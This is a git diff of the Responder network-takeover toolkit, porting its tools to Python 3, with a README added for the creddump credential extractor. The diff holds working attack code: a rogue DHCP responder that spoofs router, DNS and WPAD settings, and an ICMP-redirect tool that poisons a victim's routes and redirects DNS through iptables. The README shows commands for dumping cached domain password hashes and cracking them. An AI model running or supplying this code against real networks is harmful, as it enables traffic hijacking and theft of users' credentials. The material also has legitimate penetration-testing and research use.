"\x11\x22\x33\x44"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xff\xff\xff\xff\xff\xff"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("Op53", "\x35\x01\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", "\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", ""), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", ""), #Wpad Server. + ("Op255", "\xff"), + ]) - def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) - self.fields["Op1Str"] = socket.inet_aton(NETMASK) - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) - self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) - self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) + def calculate(self): + self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) + self.fields["Op1Str"] = socket.inet_aton(NETMASK) + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) + self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) + self.fields["Op15Str"] = DNSNAME + self.fields["Op252Str"] = WPADSRV + self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) def SpoofIP(Spoof): - return ROUTERIP if Spoof else Responder_IP + return ROUTERIP if Spoof else Responder_IP def RespondToThisIP(ClientIp): - if ClientIp.startswith('127.0.0.'): - return False - elif RespondTo and ClientIp not in RespondTo: - return False - elif ClientIp in RespondTo or RespondTo == []: - if ClientIp not in DontRespondTo: - return True - return False + if ClientIp.startswith('127.0.0.'): + return False + elif RespondTo and ClientIp not in RespondTo: + return False + elif ClientIp in RespondTo or RespondTo == []: + if ClientIp not in DontRespondTo: + return True + return False def ParseSrcDSTAddr(data): - SrcIP = socket.inet_ntoa(data[0][26:30]) - DstIP = socket.inet_ntoa(data[0][30:34]) - SrcPort = struct.unpack('>H',data[0][34:36])[0] - DstPort = struct.unpack('>H',data[0][36:38])[0] - return SrcIP, SrcPort, DstIP, DstPort + SrcIP = socket.inet_ntoa(data[0][26:30]) + DstIP = socket.inet_ntoa(data[0][30:34]) + SrcPort = struct.unpack('>H',data[0][34:36])[0] + DstPort = struct.unpack('>H',data[0][36:38])[0] + return SrcIP, SrcPort, DstIP, DstPort def FindIP(data): - IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) - return ''.join(IP[0:4]) + IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) + return ''.join(IP[0:4]) def ParseDHCPCode(data): - PTid = data[4:8] - Seconds = data[8:10] - CurrentIP = socket.inet_ntoa(data[12:16]) - RequestedIP = socket.inet_ntoa(data[16:20]) - MacAddr = data[28:34] - MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() - OpCode = data[242:243] - RequestIP = data[245:249] + PTid = data[4:8] + Seconds = data[8:10] + CurrentIP = socket.inet_ntoa(data[12:16]) + RequestedIP = socket.inet_ntoa(data[16:20]) + MacAddr = data[28:34] + MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() + OpCode = data[242:243] + RequestIP = data[245:249] - # DHCP Inform - if OpCode == "\x08": - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) - Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), - GiveClientIP=socket.inet_aton("0.0.0.0"), - NextServerIP=socket.inet_aton("0.0.0.0"), - RelayAgentIP=socket.inet_aton("0.0.0.0"), - ElapsedSec=Seconds) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) - return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) - elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request - IP = FindIP(data) - if IP: - IPConv = socket.inet_ntoa(IP) - if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) - Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) - return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) - elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover - IP = FindIP(data) - if IP: - IPConv = socket.inet_ntoa(IP) - if RespondToThisIP(IPConv): - IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) - Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) - Packet.calculate() - Buffer = UDP(Data = Packet) - Buffer.calculate() - SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) - return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + # DHCP Inform + if OpCode == "\x08": + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) + Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), + GiveClientIP=socket.inet_aton("0.0.0.0"), + NextServerIP=socket.inet_aton("0.0.0.0"), + RelayAgentIP=socket.inet_aton("0.0.0.0"), + ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) + return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request + IP = FindIP(data) + if IP: + IPConv = socket.inet_ntoa(IP) + if RespondToThisIP(IPConv): + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) + Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) + return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) + elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover + IP = FindIP(data) + if IP: + IPConv = socket.inet_ntoa(IP) + if RespondToThisIP(IPConv): + IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) + Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) + return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) def SendDHCP(packet,Host): - s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) - s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) - s.sendto(packet, Host) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + s.sendto(packet, Host) if __name__ == "__main__": - s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) - s.bind((Interface, 0x0800)) + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) + s.bind((Interface, 0x0800)) - while True: - try: - data = s.recvfrom(65535) - if data[0][23:24] == "\x11": # is udp? - SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) + while True: + try: + data = s.recvfrom(65535) + if data[0][23:24] == "\x11": # is udp? + SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) - if SrcPort == 67 or DstPort == 67: - ret = ParseDHCPCode(data[0][42:]) - if ret: - print text("[DHCP] %s" % ret) - - except KeyboardInterrupt: - sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) + if SrcPort == 67 or DstPort == 67: + ret = ParseDHCPCode(data[0][42:]) + if ret: + print(text("[DHCP] %s" % ret)) + except KeyboardInterrupt: + sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py index d912cca..d6f6846 100755 --- a/tools/FindSMB2UPTime.py +++ b/tools/FindSMB2UPTime.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -34,23 +34,23 @@ def GetBootTime(data): def IsDCVuln(t, host): if t[0] == 0: - print "Server", host[0], "did not disclose its boot time" + print("Server", host[0], "did not disclose its boot time") return - + Date = datetime.datetime(2014, 11, 17, 0, 30) if t[0] < Date: - print "System is up since:", t[1] - print "This system may be vulnerable to MS14-068" - Date = datetime.datetime(2017, 03, 14, 0, 30) + print("System is up since:", t[1]) + print("This system may be vulnerable to MS14-068") + Date = datetime.datetime(2017, 0o3, 14, 0, 30) if t[0] < Date: - print "System is up since:", t[1] - print "This system may be vulnerable to MS17-010" - print "Server", host[0], "is up since:", t[1] + print("System is up since:", t[1]) + print("This system may be vulnerable to MS17-010") + print("Server", host[0], "is up since:", t[1]) def run(host): s = socket(AF_INET, SOCK_STREAM) - s.settimeout(5) + s.settimeout(5) try: s.connect(host) @@ -64,7 +64,7 @@ def run(host): data = s.recv(1024) if data[4:5] == "\xff": - print "Server", host[0], "doesn't support SMBv2" + print("Server", host[0], "doesn't support SMBv2") if data[4:5] == "\xfe": IsDCVuln(GetBootTime(data[116:124]), host) @@ -75,10 +75,10 @@ def run(host): s.close() pass -def atod(a): +def atod(a): return struct.unpack("!L",inet_aton(a))[0] -def dtoa(d): +def dtoa(d): return inet_ntoa(struct.pack("!L", d)) if __name__ == "__main__": diff --git a/tools/FindSQLSrv.py b/tools/FindSQLSrv.py index c8affa1..a5bb231 100755 --- a/tools/FindSQLSrv.py +++ b/tools/FindSQLSrv.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -16,7 +16,7 @@ # along with this program. If not, see . from socket import * -print 'MSSQL Server Finder 0.1' +print('MSSQL Server Finder 0.2') s = socket(AF_INET,SOCK_DGRAM) s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) @@ -24,17 +24,15 @@ s.settimeout(2) s.sendto('\x02',('255.255.255.255',1434)) try: - while 1: - data, address = s.recvfrom(8092) - if not data: - break - else: - print "===============================================================" - print "Host details:",address[0] - print data[2:] - print "===============================================================" - print "" + while 1: + data, address = s.recvfrom(8092) + if not data: + break + else: + print("===============================================================") + print(("Host details: %s"%(address[0]))) + print((data[2:])) + print("===============================================================") + print("") except: - pass - - + pass diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py index c71b240..f2e6e85 100755 --- a/tools/Icmp-Redirect.py +++ b/tools/Icmp-Redirect.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -40,23 +40,23 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa options, args = parser.parse_args() if options.OURIP is None: - print "-i mandatory option is missing.\n" + print("-i mandatory option is missing.\n") parser.print_help() exit(-1) elif options.OriginalGwAddr is None: - print "-g mandatory option is missing, please provide the original gateway address.\n" + print("-g mandatory option is missing, please provide the original gateway address.\n") parser.print_help() exit(-1) elif options.VictimIP is None: - print "-t mandatory option is missing, please provide a target.\n" + print("-t mandatory option is missing, please provide a target.\n") parser.print_help() exit(-1) elif options.Interface is None: - print "-I mandatory option is missing, please provide your network interface.\n" + print("-I mandatory option is missing, please provide your network interface.\n") parser.print_help() exit(-1) elif options.ToThisHost is None: - print "-r mandatory option is missing, please provide a destination target.\n" + print("-r mandatory option is missing, please provide a destination target.\n") parser.print_help() exit(-1) @@ -187,17 +187,17 @@ def ReceiveArpFrame(DstAddr): data = s.recv(1024) DstMac = data[22:28] DestMac = DstMac.encode('hex') - PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) + PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)]) return PrintMac,DstMac except: - print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) + print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)) exit(1) def IcmpRedirectSock(DestinationIP): PrintMac,DestMac = ReceiveArpFrame(VictimIP) - print '[ARP]Target Mac address is :',PrintMac + print('[ARP]Target Mac address is :',PrintMac) PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) - print '[ARP]Router Mac address is :',PrintMac + print('[ARP]Router Mac address is :',PrintMac) s = socket(AF_PACKET, SOCK_RAW) Protocol = 0x0800 s.bind((Interface, Protocol)) @@ -210,7 +210,7 @@ def IcmpRedirectSock(DestinationIP): IPPack.calculate() final = str(Eth)+str(IPPack) s.send(final) - print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) + print('\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)) def FindWhatToDo(ToThisHost2): if ToThisHost2 != None: @@ -227,11 +227,11 @@ def RunThisInLoop(host, host2, ip): ouripadd = pipes.quote(ip) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) - print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." + print("[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers.") while True: IcmpRedirectSock(DestinationIP=dns1) IcmpRedirectSock(DestinationIP=dns2) - print "[+]Repoisoning the target in 8 minutes..." + print("[+]Repoisoning the target in 8 minutes...") sleep(480) FindWhatToDo(ToThisHost2) diff --git a/tools/MultiRelay/creddump/.gitignore b/tools/MultiRelay/creddump/.gitignore new file mode 100644 index 0000000..fbb9a38 --- /dev/null +++ b/tools/MultiRelay/creddump/.gitignore @@ -0,0 +1,120 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# PyCharm +.idea + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +.hypothesis/ +.pytest_cache/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# celery beat schedule file +celerybeat-schedule + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +.pylintrc diff --git a/tools/MultiRelay/creddump/CHANGELOG b/tools/MultiRelay/creddump/CHANGELOG index 4c8dfd6..42cdb40 100644 --- a/tools/MultiRelay/creddump/CHANGELOG +++ b/tools/MultiRelay/creddump/CHANGELOG @@ -6,4 +6,4 @@ Version: 0.3 Date: 8/1/2012 Version: 0.2 Date: 2/24/2011 * Fixed issue with wrong format specifier being used (L instead of I), which -caused creddump to fail on 64-bit systems. + caused creddump to fail on 64-bit systems. diff --git a/tools/MultiRelay/creddump/README.md b/tools/MultiRelay/creddump/README.md new file mode 100644 index 0000000..8b5b80c --- /dev/null +++ b/tools/MultiRelay/creddump/README.md @@ -0,0 +1,182 @@ +#Information +This repo is for my modifications to the original 'creddump' program available +at: + +https://code.google.com/p/creddump/ + +I did not write the original program. + +I have combined many patches and fixes I have seen from different forums and +user suggestions, as well as modified the usage to make it a little more clear. + +I followed patches and fixes from the following links: + +* https://code.google.com/p/creddump/issues/detail?id=4 +* https://code.google.com/p/volatility/issues/detail?id=92 + +Enjoy! +Ronnie Flathers (@ropnop) + + +###Usage +Mount a Windows 7/Vista partition: +``` +# mkdir /mnt/win +# ntfs-3g /dev/sda1 /mnt/win +``` + +Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds: +``` +# ./cachedump.py +usage: ./cachedump.py + +Example (Windows Vista/7): +./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true + +Example (Windows XP): +./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false + +# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes +nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local +god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local +``` + +If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format: +``` +# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes +Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x]) +g0d (god) +Welcome1! (nharpsis) +``` + +We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat. + + +####Below is the original README file + + +OVERVIEW + +creddump is a python tool to extract various credentials and secrets from +Windows registry hives. It currently extracts: +* LM and NT hashes (SYSKEY protected) +* Cached domain passwords +* LSA secrets + +It essentially performs all the functions that bkhive/samdump2, +cachedump, and lsadump2 do, but in a platform-independent way. + +It is also the first tool that does all of these things in an offline +way (actually, Cain & Abel does, but is not open source and is only +available on Windows). + +REQUIREMENTS + +alldump has only been tested on python 2.5. It should work on 2.4 as +well, but will likely need modification before it will work on 2.3 or +below. + +python-crypto is required for its MD5/DES/RC4 support. To obtain it, +see: http://www.amk.ca/python/code/crypto + +For lsadump: system and SECURITY hives +For cachedump: system and SECURITY hives +For pwdump: system and SAM hives + +USAGE + +Dump cached domain hashes: + usage: ./cachedump.py + +Dump LSA secrets: + usage: ./lsadump.py + +Dump local password hashes: + usage: ./pwdump.py + +FEATURES + +* Platform independent operation. The only inputs are the hive files + from the system--we don't rely on any Windows functionality at all. +* Open-source and (hopefully!) readble implementations of Windows + obfuscation algorithms used to protect LSA secrets, cached domain + passwords, and +* A reasonably forgiving registry file parser in pure Python. Look + through framework/types.py and framework/win32/rawreg.py to see how it + works. +* The first complete open-source implementation of advapi32's + SystemFunction005. The version in the Wine source code does not + appear to allow for keys longer than 7 bytes, while the Windows + version (and this version) does. See decrypt_secret() in + framework/win32/lsasecrets.py + +AUTHOR + +creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu). +For more information on Syskey, LSA secrets, cached domain credentials, +and lots of information on volatile memory forensics and reverse +engineering, check out: + +http://moyix.blogspot.com/ + +CREDITS +* AAron Walters. Much of the data type parsing code is taken from + Volatility, an excellent memory analysis framework written in Python. + He's also a really nice guy, and has helped me out a lot in my + research. + + https://www.volatilesystems.com/default/volatility + +* Massimiliano Montoro (mao), for reversing the mechanism Windows uses + to derive the LSA key so that it can be computed directly from the + hive files, as decribed in this post: + + http://oxid.netsons.org/phpBB2/viewtopic.php?t=149 + http://www.oxid.it/ + +* Jeremy Allison, for the details of the obfuscation applied to password + hashes in the SAM, as implemented in the original pwdump. + + http://us4.samba.org/samba/ftp/pwdump/ + +* Nicola Cuomo, for his excellent description of the syskey mechanism + and how it is used to encrypt the SAM in Windows 2000 and above. + + http://www.studenti.unina.it/~ncuomo/syskey/ + +* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to + read LSA secrets directly from the registry, given the LSA key. + + http://www.xfocus.net/articles/200411/749.html + + [Note: the above is in Chinese, but quite comprehensible if you use + Google Translate and can read C ;)] + +* Nicholas Ruff, for his perl implementation of des_set_odd_parity, + which he apparently took from SSLEAY: + + http://seclists.org/pen-test/2005/Jan/0180.html + +* Arnaud Pilon, for the details of how to retrieve cached domain, as + implemented in cachedump. + + http://www.securiteam.com/tools/5JP0I2KFPA.html + +* S�bastien Ke, for his cute hexdump recipe: + + http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 + +LICENSE + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . diff --git a/tools/MultiRelay/creddump/cachedump.py b/tools/MultiRelay/creddump/cachedump.py old mode 100644 new mode 100755 index 591214a..c059699 --- a/tools/MultiRelay/creddump/cachedump.py +++ b/tools/MultiRelay/creddump/cachedump.py @@ -15,19 +15,34 @@ # You should have received a copy of the GNU General Public License # along with creddump. If not, see . +# pylint: disable=invalid-name,missing-docstring + """ @author: Brendan Dolan-Gavitt @license: GNU General Public License 2.0 or later @contact: bdolangavitt@wesleyan.edu """ - import sys from framework.win32.domcachedump import dump_file_hashes -if len(sys.argv) < 3: - print "usage: %s bootkey " % sys.argv[0] + +def showUsage(): + print("usage: %s " % sys.argv[0]) + print("\nExample (Windows Vista/7):") + print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0]) + print("\nExample (Windows XP):") + print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0]) + + +if len(sys.argv) < 4: + showUsage() sys.exit(1) -dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2]) +if sys.argv[3].lower() not in ["true", "false"]: + showUsage() + sys.exit(1) +vista = sys.argv[3].lower() == "true" + +dump_file_hashes(sys.argv[1], sys.argv[2], sys.argv[3]) diff --git a/tools/MultiRelay/creddump/framework/addrspace.py b/tools/MultiRelay/creddump/framework/addrspace.py index fad81a1..fe42d57 100755 --- a/tools/MultiRelay/creddump/framework/addrspace.py +++ b/tools/MultiRelay/creddump/framework/addrspace.py @@ -13,11 +13,11 @@ # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. +# General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # """ @@ -25,37 +25,40 @@ @license: GNU General Public License 2.0 or later @contact: awalters@volatilesystems.com @organization: Volatile Systems + +Alias for all address spaces """ -""" Alias for all address spaces """ +# pylint: disable=missing-docstring import os import struct + class FileAddressSpace: def __init__(self, fname, mode='rb', fast=False): self.fname = fname - self.name = fname - self.fhandle = open(fname, mode) + self.name = fname + self.fhandle = open(fname, mode) self.fsize = os.path.getsize(fname) - if fast == True: + if fast: self.fast_fhandle = open(fname, mode) - def fread(self,len): + def fread(self, len): return self.fast_fhandle.read(len) def read(self, addr, len): - self.fhandle.seek(addr) - return self.fhandle.read(len) + self.fhandle.seek(addr) + return self.fhandle.read(len) def read_long(self, addr): string = self.read(addr, 4) - (longval, ) = struct.unpack('L', string) + (longval,) = struct.unpack('L', string) return longval def get_address_range(self): - return [0,self.fsize-1] + return [0, self.fsize - 1] def get_available_addresses(self): return [self.get_address_range()] @@ -63,13 +66,15 @@ class FileAddressSpace: def is_valid_address(self, addr): return addr < self.fsize - 1 - def close(): + def close(self): self.fhandle.close() + # Code below written by Brendan Dolan-Gavitt BLOCK_SIZE = 0x1000 + class HiveFileAddressSpace: def __init__(self, fname): self.fname = fname @@ -80,16 +85,16 @@ class HiveFileAddressSpace: def read(self, vaddr, length, zero=False): first_block = BLOCK_SIZE - vaddr % BLOCK_SIZE - full_blocks = ((length + (vaddr % BLOCK_SIZE)) / BLOCK_SIZE) - 1 + full_blocks = ((length + (vaddr % BLOCK_SIZE)) // BLOCK_SIZE) - 1 left_over = (length + vaddr) % BLOCK_SIZE - + paddr = self.vtop(vaddr) - if paddr == None and zero: + if paddr is None and zero: if length < first_block: return "\0" * length else: stuff_read = "\0" * first_block - elif paddr == None: + elif paddr is None: return None else: if length < first_block: @@ -104,11 +109,11 @@ class HiveFileAddressSpace: stuff_read = "\0" * first_block new_vaddr = vaddr + first_block - for i in range(0,full_blocks): + for __ in range(0, full_blocks): paddr = self.vtop(new_vaddr) - if paddr == None and zero: + if paddr is None and zero: stuff_read = stuff_read + "\0" * BLOCK_SIZE - elif paddr == None: + elif paddr is None: return None else: new_stuff = self.base.read(paddr, BLOCK_SIZE) @@ -122,9 +127,9 @@ class HiveFileAddressSpace: if left_over > 0: paddr = self.vtop(new_vaddr) - if paddr == None and zero: + if paddr is None and zero: stuff_read = stuff_read + "\0" * left_over - elif paddr == None: + elif paddr is None: return None else: stuff_read = stuff_read + self.base.read(paddr, left_over) @@ -132,10 +137,11 @@ class HiveFileAddressSpace: def read_long_phys(self, addr): string = self.base.read(addr, 4) - (longval, ) = struct.unpack('L', string) + (longval,) = struct.unpack('L', string) return longval def is_valid_address(self, vaddr): paddr = self.vtop(vaddr) - if not paddr: return False + if not paddr: + return False return self.base.is_valid_address(paddr) diff --git a/tools/MultiRelay/creddump/framework/newobj.py b/tools/MultiRelay/creddump/framework/newobj.py index 51ae55f..1a28972 100644 --- a/tools/MultiRelay/creddump/framework/newobj.py +++ b/tools/MultiRelay/creddump/framework/newobj.py @@ -19,14 +19,18 @@ @contact: bdolangavitt@wesleyan.edu """ -from framework.object import * -from framework.types import regtypes as types +# pylint: disable=missing-docstring,invalid-name,no-else-return,arguments-differ,unused-argument + from operator import itemgetter from struct import unpack +from framework.object import get_obj_offset, builtin_types, read_value, read_unicode_string, read_string, read_obj +from framework.types import regtypes as types + + def get_ptr_type(structure, member): """Return the type a pointer points to. - + Arguments: structure : the name of the structure from vtypes member : a list of members @@ -43,24 +47,25 @@ def get_ptr_type(structure, member): else: return types[structure][1][member[0]][1][1] + class Obj(object): """Base class for all objects. - + May return a subclass for certain data types to allow for special handling. """ - def __new__(typ, name, address, space): + def __new__(cls, name, address, space): if name in globals(): # This is a bit of "magic" # Could be replaced with a dict mapping type names to types - return globals()[name](name,address,space) + return globals()[name](name, address, space) elif name in builtin_types: return Primitive(name, address, space) else: - obj = object.__new__(typ) + obj = object.__new__(cls) return obj - + def __init__(self, name, address, space): self.name = name self.address = address @@ -70,7 +75,7 @@ class Obj(object): # to show up in values() or members(), even if they do not # appear in the vtype definition self.extra_members = [] - + def __getattribute__(self, attr): try: return object.__getattribute__(self, attr) @@ -84,7 +89,7 @@ class Obj(object): off, tp = get_obj_offset(types, [self.name, attr]) except: raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) - + if tp == 'array': a_len = types[self.name][1][attr][1][1] l = [] @@ -92,37 +97,37 @@ class Obj(object): 